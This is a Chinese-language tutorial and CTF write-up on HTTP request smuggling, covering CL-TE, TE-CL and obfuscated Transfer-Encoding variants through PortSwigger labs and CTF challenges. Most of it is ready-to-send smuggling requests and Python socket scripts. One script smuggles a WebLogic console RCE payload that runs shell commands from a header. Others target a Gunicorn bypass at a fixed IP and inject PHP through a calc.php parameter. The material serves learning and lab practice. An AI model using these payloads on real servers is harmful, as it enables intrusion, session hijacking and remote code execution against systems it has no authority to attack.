https://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf
https://media.defcon.org/DEF%20CON%2024/DEF%20CON%2024%20presentations/DEF%20CON%2024%20-%20Regilero-Hiding-Wookiees-In-Http.pdf
POST / HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
b //chunk_size
q=smuggling
6
hahaha
0 //end
[blank]
[blank]
POST / HTTP/1.1rnHost: 1.comrnContent-Type: application/x-www-form-urlencodedrnTransfer-Encoding: chunkedrnrnbrnq=smugglingrn6rnhahaharn0rnrn
GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 43\r\n
GET / admin HTTP/1.1\r\n
Host: example.com\r\n
\r\n
在前端服务器看来它是一个请求,但是在后端服务器来看它就是:
GET / HTTP/1.1rn Host: example.comrn
GET / admin HTTP/1.1rn Host: example.comrn
https://tools.ietf.org/html/rfc7230#section-3.3.3
POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n
12345\r\n
a
前端代理服务器收到的请求通过第一个CL判断body为8字节,随后将包发送给后端源服务器;源服务器收到请求通过第二个CL判断body为7字节,这时候最后一个字节 b'a'就会被遗留在源服务器缓存器。由于前后端服务器一般是宠用TCP连接,假设此时正常用户向服务器发送了正常的数据包,如下:
GET / HTTP/1.1rn Host: example.comrn
aGET / HTTP/1.1rn Host: example.comrn
https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te
POST / HTTP/1.1rnHost: ac721f8e1fcb0119c0b98800005c0061.web-security-academy.netrn Cookie: session=ehzpRrrgyPHDRJtSnaWLcZ0fstSXLWiCrn Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"rn Sec-Ch-Ua-Mobile: ?0rn Sec-Ch-Ua-Platform: "Windows"rn Upgrade-Insecure-Requests: 1rnUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36rn Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9rn Sec-Fetch-Site: nonern Sec-Fetch-Mode: navigatern Sec-Fetch-User: ?1rn Sec-Fetch-Dest: documentrn Accept-Encoding: gzip, deflatern Accept-Language: zh-CN,zh;q=0.9rn Connection: closern Content-Length: 10rn Transfer-Encoding:chunkedrn rn 0rn rn Arn rn
https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl
POST / HTTP/1.1
Host: ac901ff41f9aa7fdc0ce7b16001000db.web-security-academy.net
Cookie: session=MrJkkUD4dyxv9gzzgERPtb56d0cCo79Z
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://portswigger.net/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
12
WPOST / HTTP/1.1
0
多次发送后发现:
前端处理TE读取到0rnrn之后就认为读取完毕发送给后端,而后端处理CL只读取4字节rn12就认为数据包结束,这时候剩下的WPOST / HTTP/1.1rnrn0rnrn就被认为是另一个请求,因此发生了请求报错。
https://portswigger.net/web-security/request-smuggling/lab-obfuscating-te-header
POST / HTTP/1.1
Host: ace41f161f1a1382c0814ee300db0086.web-security-academy.net
Cookie: session=nqskpdP0aWuG4GW5xlYYxEUVulcJC6vG
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://portswigger.net/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding:chunked //两种TE造成混淆
Transfer-Encoding:cow
5c
WPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
多次发送后:
Transfer-Encoding:chunkedrn Transfer-Encoding:cowrn
0x04 走私攻击应用实例
https://ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net/
POST / HTTP/1.1
Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net
Cookie: session=plmft6w5VTTDEI0J15a06sNdaQUcPNPO
Content-Length: 333
Transfer-Encoding:chunked
Content-Type: application/x-www-form-urlencoded
0
POST /post/comment HTTP/1.1
Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net
Cookie: session=plmft6w5VTTDEI0J15a06sNdaQUcPNPO
Content-Length: 700
Content-Type: application/x-www-form-urlencoded
csrf=vMqN9Cq1aip2DYMTyFEokIA5IkONc7oM&postId=6&name=a&email=1%40qq.com&website=http%3A%2F%2F1.com&comment=spring
前端服务器使用CL验证,获取CL为333后判定这是一个正常的请求并发送给后端,而后端服务器通过TE的结尾表标识0rnrn认为前半部分是一个正常的请求,而后半部分:
POST /post/comment HTTP/1.1
Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net
Cookie: session=plmft6w5VTTDEI0J15a06sNdaQUcPNPO
Content-Length: 700
Content-Type: application/x-www-form-urlencoded
csrf=vMqN9Cq1aip2DYMTyFEokIA5IkONc7oM&postId=6&name=a&email=1%40qq.com&website=http%3A%2F%2F1.com&comment=spring
因为Pipeline的存在被放置在了缓存区。如果这时另一个正常用户也发来了一段评论,那么这个请求会被拼接到滞留在缓存区的请求后面构成一个新的请求:
POST /post/comment HTTP/1.1
Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net
Cookie: session=plmft6w5VTTDEI0J15a06sNdaQUcPNPO
Content-Length: 700
Content-Type: application/x-www-form-urlencoded
csrf=vMqN9Cq1aip2DYMTyFEokIA5IkONc7oM&postId=6&name=a&email=1%40qq.com&website=http%3A%2F%2F1.com&comment=springPOST /post/comment HTTP/1.1
Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net
Cookie: session=ashAwdweas.......
https://acbc1f4d1e121980c02b64d600c40022.web-security-academy.net/
POST / HTTP/1.1
Host: acbc1f4d1e121980c02b64d600c40022.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Cookie: session=RcsAYo8SoCQx0bwXn0oG0G1RkLNPHuz4
Content-Type: application/x-www-form-urlencoded
Content-Length: 77
Transfer-Encoding:chunked
0
POST / HTTP/1.1
Content-Length:70
Connection:close
search=111
多发送几次我们会发现成功泄露出来XFF头信息:
POST / HTTP/1.1
Content-Length:70
Connection:close
search=111
POST / HTTP/1.1
Content-Length:70
Connection:close
search=111 POST / HTTP/1.1 X-TsINOz-Ip: 117.136.5.78 Host:......
最后后端服务器就会将信息响应返回。
GET /a HTTP/1.1 Host: localhost Content-Length: 56 GET /_hidden/index.html HTTP/1.1 Host: notlocalhost
https://v0w.top/2020/12/20/HTTPsmuggling/#5-2-%EF%BC%88CVE-2020-12440%EF%BC%89Nginx-lt-1-8-0-%E8%AF%B7%E6%B1%82%E8%B5%B0%E7%A7%81
GET /test HTTP/1.1
Host: node4.buuoj.cn:27230
Content-Length: 0
Transfer-Encoding: chunked
GET /console/login/LoginForm.jsp HTTP/1.1
Host: weblogic
import socket
sSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sSocket.connect(("node4.buuoj.cn", 26319))
payload = b'''HEAD / HTTP/1.1\r\nHost: node4.buuoj.cn\r\n\r\nGET /console/css/%252e%252e%252fconsolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(%27weblogic.work.ExecuteThread%20currentThread%20=%20(weblogic.work.ExecuteThread)Thread.currentThread();%20weblogic.work.WorkAdapter%20adapter%20=%20currentThread.getCurrentWork();%20java.lang.reflect.Field%20field%20=%20adapter.getClass().getDeclaredField(%22connectionHandler%22);field.setAccessible(true);Object%20obj%20=%20field.get(adapter);weblogic.servlet.internal.ServletRequestImpl%20req%20=%20(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(%22getServletRequest%22).invoke(obj);%20String%20cmd%20=%20req.getHeader(%22cmd%22);String[]%20cmds%20=%20System.getProperty(%22os.name%22).toLowerCase().contains(%22window%22)%20?%20new%20String[]{%22cmd.exe%22,%20%22/c%22,%20cmd}%20:%20new%20String[]{%22/bin/sh%22,%20%22-c%22,%20cmd};if(cmd%20!=%20null%20){%20String%20result%20=%20new%20java.util.Scanner(new%20java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter(%22\\\\A%22).next();%20weblogic.servlet.internal.ServletResponseImpl%20res%20=%20(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(%22getResponse%22).invoke(req);res.getServletOutputStream().writeStream(new%20weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();}%20currentThread.interrupt(); HTTP/1.1\r\nHost:weblogic\r\ncmd: /readflag\r\n\r\n'''
sSocket.send(payload)
sSocket.settimeout(2)
response = sSocket.recv(2147483647)
while len(response) > 0:
print(response.decode())
try:
response = sSocket.recv(2147483647)
except:
break
sSocket.close()
calc.php?num=;)phpinfo();//
? num=readfile(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
https://grenfeldt.dev/2021/04/01/gunicorn-20.0.4-request-smuggling/
import socket
secret_payload=b'''POST / HTTP/1.1\r
Host: 59.110.159.206:7020\r
Content-Length: 149\r
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/x-www-form-urlencoded\r
Sec-Websocket-Key1:x\r
\r
xxxxxxxxPOST / HTTP/1.1\r
Host:127.0.0.1\r
secr3t_ip: 127.0.0.1\r
Content-Length: 150\r
Content-Type: application/x-www-form-urlencoded\r
\r
search=abc\r
\r
POST / HTTP/1.1\r
Content-Length: 14\r
Content-Type: application/x-www-form-urlencoded\r
\r
search=111\r
\r
'''
final_payload=b'''POST / HTTP/1.1\r
Host: 59.110.159.206:7020\r
Content-Length: 152\r
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36\r
Content-Type: application/x-www-form-urlencoded\r
Sec-Websocket-Key1:x\r
\r
xxxxxxxxGET /fl4g HTTP/1.1\r
Host:127.0.0.1\r
secr3t_ip: 127.0.0.1\r
Content-Length: 150\r
Content-Type: application/x-www-form-urlencoded\r
\r
search=abc\r
\r
POST / HTTP/1.1\r
Content-Length: 14\r
Content-Type: application/x-www-form-urlencoded\r
\r
search=111\r
\r
'''
test1 = b'''POST / HTTP/1.1\r
Host: 127.0.0.1\r
Content-Length: 67\r
Sec-Websocket-Key1:x\r
\r
xxxxxxxxGET /fl4g HTTP/1.1\r
Host:127.0.0.1\r
Content-Length: 123\r
\r
GET / HTTP/1.1\r
Host: 127.0.0.1\r
\r
'''
test2=b'''POST / HTTP/1.1
Host: 59.110.159.206:7020
Content-Length: 10
Content-Type: application/x-www-form-urlencoded
search=123'''
sSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sSocket.connect(("59.110.159.206", 7020))
def send(payload):
print(payload)
sSocket.send(payload)
sSocket.settimeout(2)
response = sSocket.recv(2147483647)
while len(response) > 0:
print(response.decode())
try:
response = sSocket.recv(2147483647)
except:
break
sSocket.close()
if __name__ == '__main__':
send(final_payload)
0x06 Reference
https://regilero.github.io/tag/Smuggling/ https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn https://paper.seebug.org/1048 https://xz.aliyun.com/t/7501
本文作者:合天网安实验室
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/179712.html